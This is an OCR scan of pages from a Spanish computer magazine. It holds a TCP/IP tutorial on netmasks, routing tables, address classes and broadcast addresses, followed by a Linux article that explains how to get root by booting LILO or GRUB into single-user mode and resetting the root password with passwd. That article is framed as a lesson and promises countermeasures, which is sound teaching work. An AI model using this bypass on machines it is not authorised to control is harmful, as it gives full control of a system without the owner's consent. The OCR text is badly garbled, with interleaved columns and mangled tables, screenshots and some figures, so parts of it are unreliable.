192.168.2.15/24 podriamos
representarla también asi:

= 11000000 . 10101000 . 00000010 . 00001111

Mascaradered =11111111.11111111.11111111. 00000000
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Para representar en binario la Mascara
de Red (/24) lo que hacemos es poner
tantos unos como nos indica la notacion
(/24) y el resto lo completamos con ceros.
Los bits que estén a 1 en la mascara
de red son los bits que pertenecen
al prefijo.

Si convertimos esta mascara de red de
binario a la clasica representacion decimal
que utilizamos para las direcciones IP,
nos quedaria la siguiente direccién de
red (como ya sabemos, 11111111 en
binario corresponde a 255 en decimal y
00000000 en binario corresponde a 0 en
decimal):

Direccion IP = 192.168.2.15
Mascara de red = 255.255.255.0

Estoy seguro de que esto ya os suena

bastante mas. :

Quiza os preguntéis ahora por qué es tan
habitual escribir las mascaras de red en
este formato binario, que es menos
intuitivo que el anterior. El motivo es que
la mascara de red sirve para realizar
determinadas operaciones de aritmética
binaria que han de ser realizadas viendo
la mascara de red en su formato binario.
Y... qué operaciones son esas y para qué
sirven? Eso es precisamente lo que
veremos en el préximo punto. ©

4. EL ENCAMINAMIENTO EN
REDES TCP/IP

Vamos a descubrir al fin como se puede
encontrar el camino entre dos de las
millones de maquinas conectadas
“caodticamente” a Internet.
Comprenderemos asi la necesidad de la
existencia de las mascaras de red, y la
utilidad de su representaciéon binaria.

Para ello, vamos a ver un ejemplo de
como se establecen diversas conexiones
desde un PC de una empresa. El ejemplo
que te presento ha sido intencionadamente
muy muy “simplificado”, pero nos servira
perfectamente para lo que deseamos
explicar.

En nuestro ejemplo tenemos una red

corporativa compuesta de dos subredes:
P una zona interna, donde estan los
PCs de cada empleado
P una zona DMZ donde se encuentra
el servidor web de la compaiiia (se
sale del tema hablar sobre lo que es
una DMZ, y realmente no necesitais
saberlo para este ejemplo, pero al final
del articulo aclararé por encima estos
conceptos).
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P Dos oficinas:

P una en Madrid: esta es la oficina
principal, en la que estamos
nosotros, y estd conectada a
Internet a través de un modem
ADSL

P otra en Barcelona (una sucursal)
Las oficinas estan unidas entre si
mediante una red directa. Lo hemos
hecho asi para simplificar el ejemplo

INTERMNET
OFICINA
BARCELO Nj)
Modaem 5
192.168.2.5

BT
i

q 172.16.1.23
2.1

Router Central

RED INTERNA < RED DMZ

Veamos en primer lugar qué ocurre si
gueremos enviar un correo electrénico
directamente desde la oficina de Madrid
a una maquina de la oficina de
Barcelona.

Nosotros estamos en la oficina de
Madrid, frente a un PC de la RED
INTERNA. Concretando, el ordenador
en el que estamos nosotros tiene la
direccion de red 192.168.2.5/24 (fijate
en la imagen).

El router central, que intercomunica
todas las redes de la empresa, tiene
como direccion de red 192.168.2.1/24
dentro de la red interna (fijate en la
imagen).
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El ordenador de la oficina de Barcelona
tiene como direccion de red
172.16.1.23/12.

Esta es la configuracion TCP/IP de nuestro
ordenador en Madrid:

Direccion IP: 192.168.2.5

Mascara de red: 255.255.255.0
Puerta de enlace predeterminada:
192.168.2.1

P Ya sabemos lo que significan los dos
primeros parametros (Direccion IP y
Mascara de Red).

b El dltimo parametro (Puerta de Enlace
Predeterminada) quiere decir que todo
paguete que no sepamos encaminar
lo tendremos que enviar a esa direccion
que, en nuestro caso, es la del router
central.

Por tanto, para enviar el email a la oficina
de Barcelona (IP 172.16.1.23), el
primer paso sera pasar la pelota a la
puerta de enlace predeterminada
(192.168.2.1), es decir, al router
central.

Una vez en el router central, éste tendra
que decidir qué hacer con el “paquete”.
Para ello tiene que mirar en las tablas
que tiene configuradas, que son las
siguientes:

Direccion de red Miascara de red Interfaz

192.168.1.0 255.255.255.0

Etho

172.16.0.0 255.240.0.0 Ethl

192.168.2.0 255.255.255.0

Eth2

0.0.00 0.0.0.0 Ppp0

Veamos el significado de esta interesante
tabla. Gracias a esta tabla, el router sabe:

P que cualquier paquete que coincida
con la direccion de red
192.168.1.0/24 tiene que ser dirigido
al interfaz eth0
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P que cualquier paquete que coincida
con la direcciéon de red
172.16.0.0/12 debe ser dirigido al
interfaz ethl

P que cualquier paquete que coincida
con la direccion de red
192.168.2.0/24 se enviara al interfaz
eth2

Py, por ultimo, que cualquier paquete
que no coincida con ninguna de las
anteriores direcciones de red, tendra
que coincidir por narices con la
direccion de red 0.0.0.0/0, por lo
que ira al interfaz pppO.

Por tanto, el interfaz ppp0 sera para el
router central el equivalente a la puerta
de enlace predeterminada, donde van
todos los paquetes que no se sabe como
encaminar. Normalmente, estos paquetes
seran los que vayan a Internet y, de
hecho, el interfaz ppp0 estara conectado
a un modem que conectara con Internet.

¢No os suena eso de los interfaces ethO,

eth1l, etc? Para que os hagais una idea,

serian como diferentes tarjetas de red:
P Un router tendra una tarjeta de red
por cada red a la que esté conectado.
P En cada tarjeta, por supuesto, habra
un cable que lo unira con cada red,
por eso es necesaria la tabla, para
saber por qué cable tiene que enviar
cada paquete segun su destino.
P El interfaz pppO0 es otro tipo de interfaz
que no corresponde a una tarjeta de
red, si no a una conexion PPP. Para
no liaros, basta con que os quedéis con
la idea de que el interfaz PPP es una
interfaz con un modem. =

Como cada tarjeta de red tiene una
direccion IP asociada, el router tendra
por tanto 3 direcciones IP diferentes,
una por cada interfaz eth (mira la

imagen siguiente mientras lees las

siguientes lineas):
P El router tendra la direccién IP
192.168.1.1 en el interfaz ethO0. Esta
es la red donde tenemos la DMZ.
P El router tendra la direcciéon IP
172.16.0.2 en el interfaz ethl. Esta
es la red donde tenemos el ordenador
de Barcelona.
b El router tendra la direcciéon IP
192.168.2.1 en el interfaz eth2. Esta
es la red donde tenemos nuestro PC
(Red Interna).

De esta forma, se podra acceder al router
central desde las tres redes de la
organizacion (la red interna, la red DMZ,
y la red de la oficina de Barcelona), ya
gue tendra una IP diferente para cada
una de estas redes.

Esta es una de las bases para comprender
el trabajo de un router. Un router es como
una arafia que tiene una pata en cada
red que desea enrutar. Un router nunca
podra enrutar (dirigir) una red a la que
no pertenezca.

0 1001000 . 00001010 . 01001000 . 10000011

T | Direccion de Host
Direccion de Red

Marca de Clase A

Y ahora viene lo realmente

interesante:
P Nosotros estamos intentando enviar
un “paquete” desde nuestro PC con la
IP 192.168.2.5 al un PC de la oficina
de Barcelona con la IP 172.16.1.23
P El router solo sabe la IP de origen
(192.168.2.5) y la IP de destino
(172.16.1.23). éComo sabe el router
a partir de la direcciéon IP del
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paquete a qué cable debe
enviarlo? Es aqui donde llega la
importancia de las direcciones de
red.

Para comprenderlo tenemos que conocer
un poquitin de la aritmética binaria mas
basica. Simplemente tenemos que
comprender el funcionamiento del
operador légico AND.

Igual que en la aritmética decimal de
toda la vida existen una serie de
operaciones como son la suma, la resta,
la multiplicacion, etc; en aritmética binaria
existen, ademds de estas operaciones,
otro grupo de operaciones llamadas
operaciones légicas.

Las operaciones logicas permiten operar
sobre cifras binarias haciendo “preguntas”
sobre ellas. Una respuesta SI se
consideraria un 1, y una respuesta NO
se consideraria un 0.

Una de las operaciones logicas mas
basicas es la operacion AND (traducido
literalmente, la operacion “y”).

Por ejemplo, si tenemos dos variables
binarias, A y B, donde cada una de ellas
puede valer cero o uno, podemos
preguntar: éestdan a uno A Y B? Si la
respuesta es SI, el resultado sera un 1.
Si la respuesta es NO, el resultado sera
un 0. Esto nos da lugar a la siguiente
tabla:

Para comprenderlo mejor,
compararemos esta operaciéon con
otra operacion légica, que es la
operacion OR (traducido, la operacion
“0"). En este caso la pregunta es éesta
a uno A O B? Esta seria la tabla resultante:
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AORB

0

A
0
0
1
1

[ P ]

1
1
1

AAND B

»—l»—A'DQ;,

—|o|—==m
=)

_— o

Por tanto, la operacién AND nos
devolvera 1 sdlo cuando ambas
variables valgan 1.
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La operacidon que nos interesa ahora es
la operacion AND, es la que permitira a
nuestro router comparar cada direccion
de red con la direccién IP de destino de
nuestro paquete.

Recordamos que la IP de destino del
paquete era 172.16.1.23. En este caso
el router no sabe la mascara de red, ya
gue en un paquete IP solo se envia la
direccion IP, pero no la mascara de red.

Por tanto, tenemos tan sélo una direccion,
pero no sabemos cual es la longitud de
su “prefijo”. Al no conocer la longitud de
este “prefijo”, es decir, la direccion de
red, no sabremos a priori a qué red
pertenece esta direccion IP.

La Unica informacion de la que dispone
el router central es la tabla que vimos
anteriormente, por lo que el router tendra
gue comparar esta informacién con la
direccion IP del paquete. La comparacion
que hace es sencilla:
P realiza una operacion AND entre la
IP del paquete y cada una de las
mascaras de red que tenga en su
tabla
b si el resultado después de la operacién
AND es alguna de las direcciones de
red que hay en la tabla, entonces el
paquete sera dirigido al cable
correspondiente a esa direccion de red
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P en caso de que ninguna direccién
de red coincida con la del paquete,
éste se enviara a la puerta de enlace
predeterminada, en el interfaz ppp0. 10101100.00010000 . 00000001 . 00010111

Vamos ahora con la segunda mascara de
red:

Veamos esto paso por paso. AND

En primer Iugar, pasemos a binario la IP 11111111 .11110000 . 00000000 . 00000000
del paquete, 172.16.1.23:

10101100. 00010000 . 00000000 . 00000000 = 172.16.0.0
10101100 . 00010000 . 00000001 . 00010111

Tenemos que comprobar ahora que el
resultado (172.16.0.0) coincida con la

segunda direccion de red, que es
192.168.1.0 = 11000000 . 10101000 . 00000001 . 00000000 172.16.0.0. En este caso si que coincide
.16.0.0. Si ,

Mascara =11111111.11111111.11111111.00000000

Y también las direcciones de red de la
tabla del router:

por lo que el router ha encontrado ya la

172.16.0.0 = 10101100 . 00010000 . 00000000 . 00000000 red a la que ha de enviar el paquete.

Mascara =11111111.11110000.00000000 . 00000000 Consulta entonces su tabla y ve que ese

paquete ha de ser enviado al interfaz
192.168.2.0 = 11000000 . 10101000 . 00000010 . 00000000 eth1. Por tanto, ubicara fisicamente el
Mascara  =11111111.11111111.11111111.00000000 paguete por el cable conectado a la tarjeta
0.0.0.0 = 00000000 . 00000000 . 00000000 . 00000000 de red ethl,.y_ podra llegar asi hasta la
Mascara = 00000000 . 00000000 . 00000000 . 00000000 red de la oficina de Barcelona, donde

probablemente otro router se encargue
de terminar de encaminar el paquete ya
dentro de esa red.

Empezamos realizando la operacion AND
entre la IP del paquete y la primera de
las mascaras:

Si ahora queremos enviar otro paquete
10101100 . 00010000 . 00000001 . 00010111 cuyo destino sea la IP 217.155.1.13,
que es una IP de Internet, nuestro router
comparara de nuevo las direcciones de
red:
217.155.1.13 AND 255.255.255,0 = 217.155.1.0-> nocoindide con 192.168.1.0
217.155.1.13 AND 255.240.0.0 = 217.144.0.0 -> no coindide con 172.16.0.0

10101100 . 00010000 . 00000001 . 00000000 = 172.16.1.0  217:155113AND255.255.2550 =217.155.1.0->nocoindde con 192.168.2.0
217.155.1.13 AND 0.0.0.0 = 0.0.0.0 -> ST coincide con 0.0.0.0

AND

11111111 .11111111.11111111 . 00000000

Tenemos que comprobar ahora si Por tanto, este paquete sera enviado al
172.16.1.0 es igual a 192.168.1.0, que  interfaz PPPO, que es el que nos conecta
es la direccion de red correspondiente  con Internet a través del modem.
a la primera de las mascaras, con la que
acabamos de realizar el AND. Por
supuesto, no son iguales, por lo que el
paquete no pertenece a esta primera
red.

Como vemos, es facil realizar la operacion
AND en formato decimal cuando la
mascara de red divide la direccién en
bytes (es decir, la mascara solo tiene 255
0 0). En este caso, bastara con poner a
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0 aquellos bytes de la IP en los que
haya un 0 en la mascara de red
(217.155.1.13 AND 255.255.255.0 =
217.155.1.0). En cambio, para otro tipo
de mascaras, ya es necesario operar en
binario (217.155.1.13 AND 255.240.0.0
= 217.144.0.0).

Como este ultimo ejemplo no se ve de
forma clara en formato decimal, lo
muestro aqui en su formato binario:

11011001. 10011011 . 00000001 . 00001101

AND

11111111 .11110000. 00000000 . 00000000

11011001 . 10010000 . 00000000 . 00000000 = 217.144.0.0

5. CLASES DE REDES

Existen tres tipos basicos de redes en
funcion de la direccion de red (el famoso
“prefijo”).

Cada clase de red se utilizara para un fin
distinto. Por ejemplo, una red de clase
A se utilizara para grandes organizaciones,
y solo existen 124 direcciones para redes
de este tipo.

En cambio, una red de clase C se utiliza
en pequefias organizaciones, y existen
mas de 2 millones de direcciones de clase
C.

Pero vamos a ver en detalle en qué
consiste cada una de las clases de redes.

5.1. CLASEA

Las redes de clase A son aquellas que
tienen una mascara de red /8
(255.0.0.0), es decir, solo los 8 primeros
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bits se utilizan para diferenciar la red, y
los otros 24 bits se utilizan para identificar
a una maquina concreta dentro de la red.

Ademas, el primer bit de una direccion
de red de clase A tiene que ser 0, por lo
gue en realidad sélo nos quedan 7 bits
para identificar univocamente una red de
clase A.

Teniendo en cuenta que hay ademas
algunas direcciones reservadas, esto da
lugar a que soélo existen 124 redes de
clase A en Internet. Estas son las que
tienen desde la direccion 1.*.*.* hasta
la direccion 126.%.% *

Si bien son pocas las diferentes redes de
clase A que se pueden direccionar con
s6lo 7 bits, en cambio, son muchisimas
las maquinas que se pueden direccionar
dentro de esa red, ya que serian 224,
gue son casi 17 millones de maquinas.

0 1001000 . 00001010 . 01001000 . 10000011

‘ Direccion de Host
Direccion de Red

Marca de Clase A

5.2. CLASEB

Las redes de clase B tienen una mascara
de red /16 (255.255.0.0), es decir, la
mitad de la direccion de red especifica la
red, y la otra mitad la maquina dentro de
la red.

Los dos primeros bits de la direccion
de red han de ser 10, por lo que al final
nos quedan “so6lo” 14 bits para identificar
la red. Esto da lugar a que haya 16382
direcciones de red de clase B diferentes,
que abarcan desde la 128.1.*.* hasta la
191.254. % %
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Dentro de las diferentes redes destacan
las llamadas clase D y clase E, muy poco
utilizadas:

P Las de clase D, utilizadas para

Cada red de clase B puede direccionar
65534 maquinas diferentes, por lo que
estas redes siguen siendo utilizadas tan
s6lo por grandes organizaciones.

multicast, son las que empiezan por
1110.

b Las de clase E, direcciones para uso
experimental, son las comprendidas
entre 240.0.0.0 y 247.255,255.255.

10 001000 . 00001010 . 01001000 . 10000011

Direccion de Red Direccidon de Host

Marca de Clase B

5.3. CLASEC

» No debemos...

Las redes de clase C tienen una mascara

de red /24 (255.255.255.0), por lo
que solo los ultimos 8 bits de la direccion
permiten especificar una maquina dentro
de la red.

Los 3 primeros bits de una direccién
de clase C tienen que ser 110, por lo
que al final nos quedan “sélo” 21 bits
para direccionar la red, lo cual da lugar
a que haya mas de 2 millones de redes
de clase C diferentes.

Dentro de cada red de clase C se pueden
direccionar 254 maquinas diferentes, por
lo que estas redes ya no son validas para
grandes organizaciones.

Las redes de clase C abarcan desde la

No debemos asustarnos si encontramos direcciones de red

con mascaras de red como esta: 255.255.255.128. Las
mascaras de red no siempre estan construidas con 255 o 0,
es decir, las direcciones de red no constan siempre de un
numero entero de bytes. Por ejemplo, la mascara de red
255.255.255.128 seria en binario:

11111111 . 11111111 . 11111111 . 10000000

Con este numero en binario ya podemos operar con la
operacion légica AND exactamente igual a como lo
haciamos con las méscaras mas "clasicas". Ya vimos un
ejemplo de este tipo de mascaras en el punto anterior
(255.240.0.0).

5.5. DIRECCIONES DE RED

RESERVADAS

192.0.1.*% hasta la 223.255.254.%, . .
Hay algunas direcciones de red reservadas

para ciertos fines, y que no pueden ser
asignadas a ninguna maquina de Internet.

110 01000 . 00001010 . 01001000 . 10000011

L

Direccion de Red ) _
La mas conocida es el famoso localhost:

127.0.0.1.
Esta direccion siempre se refiere a tu
propia maquina (tu PC), por lo que

Marca de Clase C
Direcciéon de Host

cualquier acceso que hagas a esa IP seran

5.4. OTRAS CLASES DE REDES accesos a tu propio ordenador.

Aparte de las 3 clases basicas, pueden
existir redes con diferentes mascaras que
no se ajusten necesariamente a una de
estas 3 clases.

La direcciéon de red 10.0.0.0/8 (es decir,
todas las IPs entre 10.0.0.0 vy
10.255.255.255) estan reservadas para
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redes de area local de gran tamaﬁo4
ya que permiten direccionar 22
maquinas.

También para redes de area local se
usan las direcciones 172.16.0.0/12 (es
decir, desde la IP 172.16.0.0 hasta la
172.31.255.255), y las 192.168.0.0/16
(desde la IP 192.168.0.0 hasta la
192.168.255.255). Estos rangos de IPs
son los que podemos utilizar nosotros
cuando montamos una red en nuestra
casa o en la oficina.

Por tanto, cualquiera en su casa es libre
de hacer lo que quiera con esos rangos
de IPs, ya que tienen garantizado que
no existe en Internet ninguna maquina
con esas direcciones. En el préximo punto
veremos con mas detalle (aunque
tampoco demasiado, pues no es
realmente el tema del articulo) el
funcionamiento de una red local.

Existen otras direcciones reservadas para

otros fines, como /as 128.0.%*.%,
191.255.*, %, 223,255,255, *, etc.

6. FUNCIONAMIENTO

BASICO DE UNA RED LOCAL

Para terminar, vamos a intentar aclarar
algunos conceptos que he utilizado a lo
largo del articulo, concretamente en el
punto 4, en el que he hablado del
encaminamiento.

En primer lugar, tengo que dejar claro
que el tema del encaminamiento es
mucho mas complicado de lo que he
mostrado aqui, pero explicarlo en detalle
se salia por completo del tema del articulo.

Espero disponer de un poco mas de
tiempo en breve (quiza para el préximo

PC PASO A PASO N° 24

mes), y acompafar el curso de TCP/IP
de un nuevo numero de la serie RAW en
el que explique algunos protocolos de
encaminamiento, como RIP u OSPF.

Lo que queda por aclarar entonces es el
funcionamiento basico de una red local.

Una red local es una red independiente
de Internet que, en el caso de que esté
conectada a Internet, lo hara
(normalmente) Unicamente a través de
un sélo punto. Por muchos ordenadores
que haya conectados dentro de la red
local, todos se conectaran con el exterior
(Internet) mediante un Unico punto.

Al conectar con el exterior a través de
un solo punto, se consigue que el tamafio
y la configuracion de la red local sea
transparente para los usuarios del exterior,
es decir, para Internet. Si alguien desde
“la china” intentase ver nuestra Red
Interna compuesta por 600 ordenadores
(o 2 0 3000, los que sean), Unicamente
veria una IP PUBLICA, es decir, un unico
punto de acceso. Esta IP seguramente
corresponderia a la del modem que da
acceso a Internet a todos nuestros
ordenadores.

Esto es lo que permite que una empresa,
una universidad, o cualquier otra
organizacion, pueda tener un gran nimero
de ordenadores, sin que cada uno de ellos
tenga que tener su propia direccion IP
dentro de Internet, lo cual saturaria
inutilmente el rango de direcciones IP
disponibles para Internet.

Por supuesto, una red local no da ventajas
s6lo de cara al exterior, para evitar la
saturacion de las direcciones de Internet,
si no también de cara al interior, para
independizar la red de la empresa de la
red Internet.
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El tener una red independiente tiene
muchas ventajas de seguridad, de
velocidad, etc. Una red local tipica, como
la que podrias tener tu en tu casa por
muy poco dinero, tiene una velocidad de
100Mbps. Esta velocidad dista mucho de
las velocidades de que disponemos en
casa para acceder a Internet. Por tanto,
el tener una red local nos permitira tener
una gran velocidad de conexion entre los
ordenadores de nuestra casa, empresa,
u organizacion de cualquier tipo, sin
depender de la velocidad de acceso o
incluso de la saturacion del trafico de
Internet.

Por otro lado, las ventajas con respecto
a la seguridad son evidentes, ya que el
trafico de la red local se puede aislar
totalmente de Internet si se desea,
evitando asi cualquier tipo de ataque o
de espionaje.

En muchas organizaciones se opta por
una configuracion local dividida en dos
redes. Una de ellas, comunmente llamada
zona interna, sera la que utilicen los
usuarios comunes (por ejemplo, los
empleados de una empresa), y tendra
un acceso a Internet totalmente limitado.

Esto hace que sea muy dificil que un
hacker realice cualquier tipo de ataque
0 espionaje contra los ordenadores de
los empleados (al mismo tiempo, también
permite limitar el acceso a los empleados,
para que no pasen el tiempo chateando
o viendo fotos guarrillas).

Por supuesto, la empresa no puede
funcionar sélo con una conexiéon tan
restringida como ésta, ya que necesitara
tener una serie de servidores (servidor
web, servidor de correo, etc) que tengan
un acceso mucho mas abierto hacia
Internet. Por eso se crea otra zona,

[lamada comunmente zona
desmilitarizada, o DMZ, en la cual se
alojaran todos los servidores, y aquellas
maquinas que no hayan de estar bajo la
proteccidon de la zona interna.

INTERNET

RED DMZ

RED INTERNA <

o i

: i Servidor Web  Servidor Correo
Empleados

Al ser independiente de Internet, en una
red local se pueden utilizar direcciones
IP libremente, siempre y cuando sean
direcciones reservadas que no existan en
Internet. Ya mencioné antes cuales son
las direcciones IP reservadas para redes
locales.

Una gran ventaja de esto es que facilita
mucho la configuracién de los ordenadores
conectados a la red local, ya que existen
protocolos, de los cuales el mas famoso
es el DHCP (Dynamic Host Configuration
Protocol), que permiten configurar
automaticamente cualquier nuevo
ordenador que se conecte a la red local.
Cada vez que se conecta una maquina,
ésta pide al servidor DHCP los datos de
su configuracién (como su direccion IP),
y queda asi automaticamente configurado.
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Esto puede dar lugar a la existencia de
IPs dinamicas, que ya mencioné al
principio del articulo. Seguin una serie de
criterios, el servidor DHCP podra decidir
en un momento dado asignar a una
magquina una direccion IP diferente a la
que le asigno la ultima vez que esta
maquina se conectd.

En una red local no sélo sera necesario
un protocolo que facilite la configuracion
automatica de cada equipo, si no que
hara falta también otro protocolo que
permita a los diferentes equipos de la
red conocerse entre si, es decir, saber
qué direccion IP tiene no so6lo él mismo,
si no también sus companeros a los que
quiera acceder.

El protocolo mas conocido para este fin
es el ARP (Address Resolution Protocol),
que permite asociar direcciones IP con
direcciones MAC, tal y como veremos
en el curso mas adelante, cuando
hablemos del nivel de enlace.

Por ultimo, sélo me queda mencionar el

funcionamiento de las direcciones

broadcast, de las cuales ya hablé un
poco a lo largo del curso de TCP/IP.

Por si no lo recordais, una direccion
broadcast es una direccion IP especial
que se refiere no a una sola maquina, si
no a todas las maquinas de una
misma red.

Si, por ejemplo, enviamos un ping a una
direccién IP, recibiremos respuesta
Unicamente de una maquina. En cambio,
si esa direccién IP es la direccidn
broadcast de la red, todas las maquinas
gue estén conectadas a la red en ese
momento responderan a nuestro ping
(con los consiguientes problemas de
seguridad de los que ya hablé en articulos
anteriores).
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Para simplificar, dije que una direccion
broadcast se formaba poniendo un 255
en el ultimo byte de la IP, pero esto no
es del todo cierto, ya que éste es sdlo el
caso mas comun.

Para comprender la formacion de la
direccion broadcast tenemos que volver
al tema de los operadores ldgicos binarios,
por lo que voy a introducir un nuevo
operador, el mas simple de todos, que es
el operador NOT.

El operador NOT lo Unico que hace es
invertir todos los bits del numero
binario, es decir, cambiar todos los ceros
por unos, y todos los unos por ceros.
Asi:

NOT 1001110101 = 0110001010

El primer paso para obtener la direccion
broadcast de una red, sera aplicar el
operador NOT sobre la mascara de red.
Es decir, si tenemos la red
172.16.0.0/12, ésta sera la mascara de
red en formato binario:

11111111 .11110000. 00000000 . 00000000

Y ésta sera la mascara despues de aplicar
el operador NOT:

00000000.00001111.11111111.11111111

Teniendo ya esta mascara invertida, soélo
tenemos que aplicar un operador OR
entre la mascara invertida y la
direccion de red. Os recuerdo aqui cual
era el funcionamiento del operador OR:
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Por tanto, si la direccidén de red en nuestro
ejemplo es:
172.16,0.0 = 10101100. 00010000 . 00000000 . 00000000
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Realizamos la operacion:

10101100 . 00010000 . 00000000 . 00000000

OR

00000000 .00001111 .11111111.11111111

10101100.00011111.11111111.11111111 =172.31.255.255

Por tanto, la direccion broadcast para la
red 172.16.0.0/12 sera 172.31.255.255.

En el proximo numero, continuaremos
con la capa IP de la pila TCP/IP, pero esta
vez entrando de lleno en el formato de
las cabeceras IP, por lo que nos esperara
un articulo denso y, espero que bastante
interesante. ©

Autor: PyC (LCo).
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~ HACKING D

> Ueremos los gestores de arranque Lilo y Grub.

> Aprenderemos los distintos tipos de RUNLEVELS de Linux
b Hacking de Linux. consequiremos ser root.

> Y. por supuesto. pondremos contramedidas a este ataque.

Lo primero mi enhorabuena a los lectores
de la revista y miembros del foro, ya que
con su esfuerzo y constancia hay cada
vez mas gente interesada en este mundo
tan apasionante.

Sin mas preambulo que lo anteriormente
mencionado, vamos al tema:

Todos sabemos que Linux es un sistema
robusto, estable y muy fiable. Esto se
debe entre otras muchas cosas a que es
un sistema multiusuario Y multitarea, de
ahi su potencia como servidor de
cualquier tipo de cosa.

También hemos oido hablar mucho de la
seguridad en Linux, que si es mayor y
mejor que en “guindows”, que es mas
eficaz y casi “irrompible”... Pero como en
todo, hay fallos de seguridad.

Sabemos de sobra que nuestro amigo
“Bill el puertas” y su sistema (Windows)
son los campeones en
vulnerabilidades® y, como la mayoria
de la gente conoce gran parte de esos
fallos, pensé entonces en un articulo
basado en Linux, con la principal
diferencia de que dependemos de
nosotros mismos para configurarlo de
manera segura (cosa que con su rival
de pago es imposible). De ahi que Linux
sea para mi un sistema mas seguro y
eficaz, entre otras muchas, muchas,
muchas cosas.
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Los sistemas linux estan dotados (o
podemos hacer que lo estén) de un gestor
de arranque. Este gestor de arranque
puede ser configurado de diversas formas,
por ejemplo para que tengamos diferentes
sistemas operativos, para afadir ciertas
ordenes o comandos en funcién de lo que
queramos, etc.

En este articulo nos vamos a centrar en
dos gestores de arranque: Lilo y Grub.

CONSIGUIENDO ACCESO COMO
ROOT EN SISTEMAS LINUX

CON GESTOR DE ARRANQUE

LILO

El primer ejemplo de ataque buscando al
root lo haremos con Lilo. Si tenemos
instalado LINUX en nuestro PC y tenemos
como gestor de arranque LILO, al iniciar
el PC nos encontramos con esta pantalla:

L*Mandrake Linux
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AqUI' debemOS ser répidOS Yy pulsar |aS Diciendo a INIT que vaya al modo de usuario Gnico.

INIT: Going single user
SEN Y |

flechas ya sea para arriba o para abajo,
con esto dejara el tiempo de andar, y
podremos pensar si presiéon @,

Ahora pulsamos ESC y entramos en esta
otra pantalla.

linux-nonfb failsafe

como root. Ahora lo que tenemos que
hacer es ponernos una password, para
que cuando entremos en Linux en modo
normal, accedamos al sistema completo
como root!!!!

Aqui es donde podemos pasarle 9
parametros a nuestro gestor de arranque Para poner un...
(en este caso Lilo), y tenemos que poner:

linux 1 o linux single, en funcién de la Para poner una password en linux, debemos de poner el
I

configuracion. comando
# passwd (nombre de usuario), en este caso, como ya

Tt Eeileats estamos como root, solo tenemos que poner # passwd.

i linux 1 Nos preguntard y ponemos el password que queramos.

jsh-2.85b#t

lsh-2 . B5b#t

[sh-2 . B5b#t

[sh-2.85bit

Ish-2 . B85b#t

jsh-2 .85b#t passud

Changing passuord for user root.
Hew UNIX password: |

Al poner esto, la maquina empezara a
arrancar, y nos llevara a un sitio como
este:
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Ish-Z.B5b#t

ish-Z.05b#t passud

Una vez puesta la password al root
podemos comprobar con un sencillo
comando que somos el " "Dios” " (root)
de esa maquina Linux. El comando es
# id y veremos algo como esto:

hanging password for user root.

New UNIX password:

BAD PASSUORD: it’s WAY too short
Retype new UNIX password:
ipasswd: all authentication tokens updated successfully.

h—-Z.05b# id

1id=B(root) gid=A(root)

Grub (639K lower /523072k upper memory)

Windows Xp Profesional

Usa las flechas arriba o abajo para elegir lo que quiera arrancar
Pulsa Intro para arrancar el S.Operativo elegido, ‘e' para editar
los comandos antes de arrancar, o ‘c' para poder introducir comandos.

Ya solo nos queda reiniciar y entrar de
manera normal, pero como root del
sistema =

Con esto hemos visto nuestro primer
ataque, pero aun no sabemos por qué
pasa esto. Y sobre todo no sabemos como

remediarlo... poco a poco

CONSIGUIENDO ACCESO

Lo que a nosotros nos interesa es
seleccionar con las flechas Linux, y
después pulsar “e” para poder editar. Al
pulsar salimos a un sitio como este:

Grub (639K lower 523072k upper memory)

root (hda@,S)

kernel /boot/vmlinuz-2.4.22 root=dev/hdaé hdc=ide-scsi

Pulsa 'b*' para arrancar, ‘e' para editar el comando seleccionado,
‘c' para disponer de comandos, ‘o' para atadir una nueva linea
detras de la linea seleccionada ('0* para antes), *‘d‘' para borrar
la linea seleccionada, o escape para volver al menu principal.

COMO ROOT EN SISTEMAS

LINUX CON GESTOR DE

ARRANQUE GRUB

Ahora nos centraremos en el que para
mi es el mejor gestor de arranque de
Linux: el Grub. Este gestor de arranque,
lo primero que nos muestra cuando
arrancamos el PC son los sistemas
operativos instalados y las opciones:
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Aqui seleccionaremos la parte de la linea
que comienza por kernel, que es la que
vamos a modificar. Volvemos a pulsar "e”’
y llegamos a un lugar donde podemos
escribir.

Aqui escribiremos la palabra single al final
de la linea (siempre la linea que comienza
por kernel).

[ Puedes hacer una edici%n de las lineas tipo BASH.Tambien TAB lista los
posibles nombres de dispositivos y archivos. ESC sale en cualquier
momento 1

grub edit> kernel /boot/vmlinuz-2.4.22 root=dev/hdaé hdc=ide-scsi single
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Tras escribir esto, pulsamos INTRO, y
volvemos a la pantalla anterior, pero
ahora nos pone la palabra single al final
de la linea que comienza por kernel.

Grub (639K lower /523072k upper memory)

root

(hdaB, 5)

kernel /boot/vmlinuz-2.4.22 root=dev/hdaé hdc=ide-scsi single

Pulsa ‘b' para arrancar, 'e" para editar el comando seleccionado,
‘c' para disponer de comandos, 'o' para a:adir una nueva linea
detras de la linea seleccionada ('0' para antes), 'd® para borrar
la linea seleccionada, o escape para volver al menu principal.
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Y ahora solo nos queda pulsar “b" para
arrancar en modo single y tener una
terminal con privilegios de root. Lo demas
me lo ahorro, porque ya esta explicado
en la parte anterior de Lilo.

Tras conseguir nuestro ataque (tanto con
LILO como con GRUB), es la hora de
explicar el porqué pasa todo esto v,
sobretodo, como poder proteger nuestros
sistemas Linux de este ataque.

ENTENDIENDO EL ATAQUE Y

PROTEGIENDO NUESTRO

LINUX

En todos los sistemas Linux del tipo
System V (por ejemplo Suse, Mandrake,
Red Hat y similares) hay en su
configuracién diferentes tipos de ejecucion
o arranque. A estos tipo de ejecucién se
les llaman RUNLEVELS.

Estos runlevels son los que se encargan
de arrancar el sistema, pero dependiendo
del tipo de runlevels que sea, arrancara
determinados procesos de servicios o
no. Es decir, en cada uno de ellos esta
definido que arranque de una manera

en concreto, es como tener diferentes
formar de entrar al sistema, dependiendo
del trabajo que queramos desempefar
en ese momento.

Los runlevels son 6, y aqui vemos qué es
lo que hace cada uno:

NIVEL MODO

0 Detener el sistema

1 Mono usuario, sin soporte de red
2 Multiusuario, sin soporte de red
3 Multiusuario con todo completo
4 Solo recomendado para pruebas
5 Multiusuario completo con entorno

grafico
6 Reinicia el sistema

Como podéis deducir el que habitualmente
usamos es el 5 (con entorno grafico),
que es el que viene configurado por
defecto.

Ahora vamos a ver en qué archivo estan
los runlevels y cémo podemos
configurarlo. El archivo en cuestion es el
inittab, que esta en /etc/inittab.

9 Para visualizarlo...

Para visualizarlo basta con poner “less /etc/inittab*
(sin comillas claro). Explico esto puesto que la
